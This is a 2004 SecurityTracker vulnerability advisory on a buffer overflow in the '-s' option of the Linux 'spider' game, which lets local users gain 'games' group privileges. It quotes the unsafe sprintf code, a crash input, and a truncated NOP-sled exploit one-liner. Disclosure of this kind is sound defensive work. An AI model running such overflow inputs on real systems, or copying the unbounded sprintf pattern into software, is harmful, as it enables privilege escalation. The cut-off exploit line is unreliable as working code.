Home    |    View Topics    |    Search    |    Contact Us    |   



Category:   Application (Game)  >   Spider (game) Vendors:   Woods, Donald R. et al
Spider Game '-s' Command Line Buffer Overflow Let Local Users Gain 'games' Group Privileges
SecurityTracker Alert ID:  1011510
SecurityTracker URL:
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Oct 3 2004
Impact:   Execution of arbitrary code via local system, User access via local system
Exploit Included:  Yes  
Version(s): 1.1
Description:   Security Team at reported a buffer overflow in the 'spider' game for Linux systems. A local user can obtain 'games' group privileges.

It is reported that a local user can supply a specially crafted '-s' command line parameter to trigger a buffer overflow and execute arbitrary code with 'games' group privileges.

The flaw resides in 'movelog.c'.

A demonstration exploit is provided:

sh# spider -s `perl -e 'print "\x90" x 987 .

Impact:   A local user can execute arbitrary code with 'games' group privileges.
Solution:   No vendor solution was available at the time of this entry.

An unofficial patch is available at:

Cause:   Boundary error
Underlying OS:  Linux (Any), UNIX (Any)

Message History:   None.

 Source Message Contents

Subject:  Buffer Overflow in Spider game

Spider 1.1 buffer overflow.

A vulnerability has been discovered in the game spider, an application
contained in the Debian GNU/Linux distribution.
The vulnerability allows a local attacker to gain elevated privileges by
overflowing the -s parameter.

The attacker can gain group privileges. By default "games".

A patch can be found at

The vulnerability is located in the file movelog.c
char *fname;
FILE *fp;
char buf[1024], buf2[1024];
char *dp;

fname = remove_newlines(fname);
if ((fp = fopen(fname, "r")) == NULL) {
(void)sprintf(buf, "Can't open file \"%s\" for loading.", fname);

sh# spider -s `perl -e 'print "A" x 1045'`
Program received signal SIGSEGV, Segmentation fault.
Quick exploit:
sh# spider -s `perl -e 'print "\x90" x 987 .
sh# id
uid=1002(gigi) gid=100(game) groups=100(users)

Availability This message and any further updates can be found at

Security Team

Go to the Top of This SecurityTracker Archive Page

Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2019, LLC